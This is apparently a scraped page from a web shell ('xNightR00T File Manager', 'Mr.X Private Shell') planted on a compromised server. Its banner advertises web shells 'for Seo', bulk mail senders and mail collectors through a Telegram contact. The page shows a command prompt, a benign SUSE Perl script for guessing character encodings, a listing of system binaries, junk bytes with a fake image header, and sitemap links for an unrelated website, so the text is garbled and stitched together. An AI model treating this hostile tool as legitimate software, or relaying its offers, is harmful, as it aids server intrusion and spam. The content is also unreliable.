xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#! /usr/bin/perl -w
#
# encoding.pl -- guess charset encoding
#
# (C) 2007, jw@suse.de, Novell Inc.
# Distribute under GPLv2
# 
# 2006-12-05, jw, V0.1 -- only framework.
# 2007-01-23, jw, V0.2 -- utf8 and latin1 for ttys.
# 2007-02-08, jw, V0.3 -- utf8 and latin1 for files.

use Data::Dumper;
use POSIX;
use IO::Handle;

my $version = '0.3';
my $verbose = 0;
my $stdin = 0;

while (defined (my $arg = shift))
  {
    if    ($arg !~ m{^-.})		{ unshift @ARGV, $arg; last }
    elsif ($arg =~ m{^(-h|--help|-\?)})	{ exit usage(); }
    elsif ($arg =~ m{^--?v})		{ $verbose++; }
    elsif ($arg =~ m{^--?q})		{ $verbose = 0; }
    else { exit usage("unknown option $arg"); }
  }

if (!@ARGV and -t STDIN and -t STDERR)
  {
    my $r = probe_tty();
    print "$r\n";
    exit 0;
  }

for my $file (@ARGV)
  {
    my $fd;
    open $fd, ($file eq '-') ? '<&=STDIN' : "<$file" or die "open($file) failed: $!";
    probe_file($fd, $file);
    close $fd;
  }

exit 0;
########################################################################

sub usage
{
  my ($msg) = @_;
  print STDERR qq{$0 V$version usage:

encoding [options] [file]

valid options are:
 -h                         Print this online help
 -v                         Be more verbose. Default $verbose
 -q                         Be quiet
 -                          Read from stdin.

Without any parameters, the terminal (if any) is probed, 
using stdin and stderr.

Files are searched for characters outside the ascii range.
Those characters are tested for their likeliness in 
various encodings.
Thus an illegal mix of encodings can be detected.

If not verbose, only one single word is printed to stdout:
The name of the most likely encoding.

};

  print STDERR "\nERROR: $msg\n" if $msg;
  return 0;
}

sub sysread_tout
{
  my ($FILE, $len, $tout) = @_;
  my $r = '';
  while ($len > 0)
    {
      my $rout;
      my $rin = '';
      vec($rin,fileno($FILE), 1) = 1;
      my ($n, $t) = select($rout = $rin, undef, undef, $tout);
      $tout = $t if defined $t;
      last unless $n;
      my $buf = '';
      last if sysread($FILE, $buf, 1) <= 0;
      $r .= $buf;
      $len--;
    }
  return $r;
}

sub tty_raw
{
  my ($FILE) = @_;

  my $t = POSIX::Termios->new;
  my $o = POSIX::Termios->new;
  $t->getattr(fileno $FILE);
  $o->getattr(fileno $FILE);

  $t->setlflag(0);	# -echo, -icanon
  $t->setcc(POSIX::VMIN, 1);
  $t->setcc(POSIX::VTIME, 0);
  tty_set($FILE, $t);
  return $o;
}

sub tty_set
{
  my ($FILE, $t) = @_;
  $t->setattr(fileno $FILE, POSIX::TCSANOW) or die "TCSANOW failed: $!\n";
}

sub get_cursor_pos
{
  my ($hint) = @_;
  # 1 may be an ansi term?
  # testing device status report 6, as seen in vttest.
  my $t = tty_raw(STDIN);

  while (length(sysread_tout(STDIN, 1, 0.1))) { }

  syswrite(STDOUT, "\33[6n", 4);
  my $r = sysread_tout(STDIN, 10, 0.1);
  tty_set(STDIN, $t);
  return { x => $2 - 1, y => $1 - 1, hint => 'DC6' } if $r =~ m{^\33\[(\d+);(\d+)R};
  return undef;
}

sub probe_tty
{
  #
  # we can use STDIN and STDERR.
  # 0) first, see, if the terminal can report cursor positions.
  syswrite(STDOUT, "\r", 1);
  my $o = get_cursor_pos();
  print ", x=$o->{x}\n" if $verbose > 1;

  # - if not, abort.
  die "get_cursor_pos failed.\n" unless defined $o;

  # - if it can, store the current position 
  if ($o->{x} != 0)
    {
      warn "strace (or other) output interferes or\n" if $o->{x} >= 20;
      die "carriage return does not work.\n";
    }

  # 1) write a single byte ascii character, 'X' and check, 
  # if it advances by one. 
  syswrite(STDOUT, "\rX", 2);
  my $p = get_cursor_pos($o->{hint});
  print ", x=$p->{x}\n" if $verbose;
  

  # - If not, it is probably in microsoft-multibyte encoding, 
  #   and requires '\0' prefixing. check this, report and abort.
  die "multi-byte mode" if $p->{x} != 1;

  # 2)Then try non-ascii characters, e.g. a-umlaut.
  # 2a) send its latin1 code, and see what happens,
  syswrite(STDOUT, "\r1\34434", 5);	# 1, a-umlaut-latin1, 3, 4
  $p = get_cursor_pos($o->{hint});
  print ", x=$p->{x}\n" if $verbose;
  die "no report" unless defined $p;

  # - no advance indicates that the terminal is not in latin1 mode 
  #   or a lousy font is used.
  # - advance by 2 indicates a defect in the tty-emulator.
  die "latin1 a-umlaut caused confusion." if $p->{x} > 4 or $p->{x} < 2;

  # in utf8, our \344 consumes another char, thus the '3' is not printed.
  # we don't know what the font does then.
  my $maybe = 'utf8' if $p->{x} == 2 or $p->{x} == 3;
  $maybe = 'latin1'  if $p->{x} == 4;
  print "maybe $maybe\n" if $verbose;
  # - advance by 1 says nothing, may be latin1.
  # 2b) send its utf8 code.

  syswrite(STDOUT, "\r1\303\24434", 6);	 # 1, a-umlaut-utf8, 3, 4
  $p = get_cursor_pos($o->{hint});
  print ", x=$p->{x}\n" if $verbose;

  die "no report" unless defined $p;
  # - no advance indicates that a lousy font is used.
  # - advance by one indicates that the terminal is in utf8 mode.
  # - advance by two indicates that the terminal is in latin1 mode.

  syswrite(STDOUT, "\r      \r", 8) unless $verbose;	 # clear scratch area
  
  if ($p->{x} == 4)
    {
      return 'utf8' if $maybe eq 'utf8';
      return 'possibly utf8';
    }
  
  return 'latin1' if $maybe eq 'latin1';
  return 'possibly latin1';
}

##
## if utf8_valid is positive, then it can only be utf-8.
##   (if also utf8_invalid and/or latin1_typ are positive, then it is a mixture)
## if only utf8_invalid or latin1_typ are positive, then it is latin1.
## if all 3 are zero, it is plain ascii.
##
## FIXME: should take an optional length parameter to limit runtime.
##
sub probe_file
{
  my ($fd, $name) = @_;
  print "probing $name\n" if $verbose;

  my %typ_latin = map { $_ => 1 } qw(169 171  174 176 177 178 179 181
  185 187 191 192 193 194 195 196 197 199 200 201 202 203 204 205 206 207 208 209
  210 211 212 213 214 215 216 217 218 219 220 
  223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245
  246 249 250 251 252 253 189 164);


  # when running incremental, $fd is probably not seekable.
  # so we need to buffer characters to be re-read after a lookahead.

  # http://de.wikipedia.org/wiki/UTF-8#Kodierung

  my $utf8_valid   = 0;		# parser happy.
  my $utf8_invalid = 0;		# something wrong.
  my $latin1_typ   = 0;		# valid chars in 128..255 range followed by a ascii byte
  my $ascii        = 0;		# char in 10..127 range
  my $utf8_size    = 0;		# how many bytes belong to this utf-8 char.
  my $utf8_len     = 0;		# how many more bytes belong to this utf-8 char.
  my $utf8_start   = 0;		# ord of utf_8 start char.

  while (defined(my $c = getc($fd)))
    {
      my $v = ord($c);
      if ($utf8_len)
        {
	  if (($v & 0xc0) == 0x80)	# 10xx xxxx
	    {
#	      printf "0 %02x\n", $v;
	      unless (--$utf8_len)
	        {
	          $utf8_valid++;
		  $utf8_size = 0;
		}
	    }
	  else
	    {
#	      printf "0x %02x %02x '$c' $utf8_size-$utf8_len\n", $utf8_start, $v;
              if (($utf8_size - $utf8_len) == 1 and $typ_latin{$utf8_start})
		{
		  if ($v > 7 && $v < 128)
		    {
		      $latin1_typ++;
		      $ascii++;
		    }
		  elsif ($typ_latin{$v})
		    {
		      $latin1_typ += 2;
		    }
		  else
		    {
		      $utf8_invalid++;
		    }
		}
	      else
		{
		  $utf8_invalid++;
		}
	      $utf8_len = $utf8_size = $utf8_start = 0;
	    }
	}
      elsif ($v > 7 && $v < 128)
        {
	  $ascii++;
	  next;
	}
      elsif (($v & 0xe0) == 0xc0)	 	# 110x xxxx
        {
	  $utf8_start = $v;
	  $utf8_size = 2;
	  $utf8_len = 1;
#	  printf "1 %02x\n", $v;
	}
      elsif (($v & 0xf0) == 0xe0)		# 1110 xxxx
        {
	  $utf8_start = $v;
	  $utf8_size = 3;
	  $utf8_len = 2;
#	  printf "2 %02x\n", $v;
	}
      elsif (($v & 0xf8) == 0xf0)		# 1111 0xxx
        {
	  $utf8_start = $v;
	  $utf8_size = 4;
	  $utf8_len = 3;
#	  printf "3 %02x\n", $v;
	}
      elsif ($typ_latin{$v})
        {
	  $latin1_typ++;
	}
      else
        {
	  $utf8_invalid++;
#	  printf "x %02x\n", $v;
	}
    }
  print "$name: utf8_valid=$utf8_valid utf8_invalid=$utf8_invalid latin1_typ=$latin1_typ ascii=$ascii\n";
}

Filemanager

Name Type Size Permission Actions
arch File 30.84 KB 0755
awk File 500 KB 0755
basename File 30.79 KB 0755
bash File 681.46 KB 0755
blkparse File 45 KB 0755
blktrace File 36.98 KB 0755
btrace File 891 B 0755
cat File 51 KB 0755
chgrp File 58.94 KB 0755
chmod File 54.91 KB 0755
chown File 62.97 KB 0755
chvt File 10.32 KB 0755
clrunimap File 10.31 KB 0755
cp File 147.59 KB 0755
cpio File 138.31 KB 0755
csh File 378.18 KB 0755
date File 66.97 KB 0755
dbus-cleanup-sockets File 10.39 KB 0755
dbus-daemon File 412.62 KB 0755
dbus-monitor File 18.5 KB 0755
dbus-send File 22.63 KB 0755
dbus-uuidgen File 10.31 KB 0755
dd File 71.04 KB 0755
deallocvt File 10.33 KB 0755
df File 95.77 KB 0755
dmesg File 70.41 KB 0755
dnsdomainname File 14.48 KB 0755
domainname File 14.48 KB 0755
dumpkeys File 98.55 KB 0755
echo File 30.75 KB 0755
ed File 46.7 KB 0755
egrep File 143.38 KB 0755
ex File 2.25 MB 0755
false File 26.75 KB 0755
fgconsole File 10.33 KB 0755
fgrep File 143.38 KB 0755
fillup File 38.47 KB 0755
find File 188.7 KB 0755
findmnt File 63.29 KB 0755
fsync File 6.29 KB 0755
fuser File 39.48 KB 0755
gawk File 500 KB 0755
getkeycodes File 10.33 KB 0755
getunimap File 14.38 KB 0755
grep File 147.41 KB 0755
guess_encoding File 7.92 KB 0755
gunzip File 2.29 KB 0755
gzip File 79.92 KB 0755
hostname File 14.48 KB 0755
initviocons File 19.55 KB 0755
ip File 498 KB 0755
ipg File 571 B 0755
kbd_mode File 10.32 KB 0755
kbdinfo File 10.34 KB 0755
kbdrate File 10.39 KB 0755
keyctl File 26.59 KB 0755
kill File 30.17 KB 0755
ksh File 227.55 KB 0755
lksh File 227.55 KB 0755
ln File 54.98 KB 0755
loadkeys File 135.05 KB 0755
loadunimap File 26.64 KB 0755
logger File 42.7 KB 0755
login File 38.09 KB 0755
ls File 119.73 KB 0755
lsblk File 96.22 KB 0755
lsmod File 236.71 KB 0755
mail File 352.48 KB 0755
mapscrn File 18.6 KB 0755
md5sum File 42.88 KB 0755
mkdir File 75.16 KB 0755
mknod File 63.09 KB 0755
mksh File 287.62 KB 0755
mktemp File 38.91 KB 0755
more File 38.09 KB 0755
mount File 46.17 KB 4755
mv File 123.54 KB 0755
netstat File 118.7 KB 0755
nisdomainname File 10.43 KB 0755
openvt File 18.55 KB 0755
outpsfheader File 6.23 KB 0755
pdksh File 227.55 KB 0755
pgrep File 22.64 KB 0755
pidof File 22.66 KB 0755
ping File 42.46 KB 0755
ping6 File 42.81 KB 0755
pkill File 22.64 KB 0755
plymouth File 34.7 KB 0755
ps File 91.27 KB 0755
psfaddtable File 18.41 KB 0755
psfgettable File 18.41 KB 0755
psfstriptable File 18.41 KB 0755
psfxtable File 18.41 KB 0755
pwd File 30.84 KB 0755
readlink File 38.82 KB 0755
resizecons File 18.61 KB 0755
rm File 58.97 KB 0755
rmdir File 38.81 KB 0755
rpm File 14.88 KB 0755
screendump File 10.39 KB 0755
sed File 75.84 KB 0755
setfont File 38.7 KB 0755
setkeycodes File 10.33 KB 0755
setleds File 10.38 KB 0755
setlogcons File 10.33 KB 0755
setmetamode File 10.44 KB 0755
setpalette File 10.31 KB 0755
setvesablank File 10.32 KB 0755
setvtrgb File 10.41 KB 0755
sh File 681.46 KB 0755
showconsolefont File 14.41 KB 0755
showkey File 14.38 KB 0755
sleep File 30.78 KB 0755
sort File 111.63 KB 0755
spawn_console File 10.29 KB 0755
spawn_login File 10.29 KB 0755
stat File 75.16 KB 0755
stty File 66.91 KB 0755
su File 58.17 KB 4755
sync File 30.81 KB 0755
systemctl File 692.05 KB 0755
systemd File 1.54 MB 0755
systemd-ask-password File 66.3 KB 0755
tar File 341.68 KB 0755
tcsh File 378.18 KB 0755
touch File 59.03 KB 0755
true File 26.75 KB 0755
umount File 30.17 KB 4755
uname File 30.84 KB 0755
unicode_start File 3.44 KB 0755
unicode_stop File 363 B 0755
usleep File 6.3 KB 0755
vi File 2.25 MB 0755
vim File 2.25 MB 0755
ypdomainname File 10.43 KB 0755
zcat File 1.94 KB 0755
zsh File 693.03 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml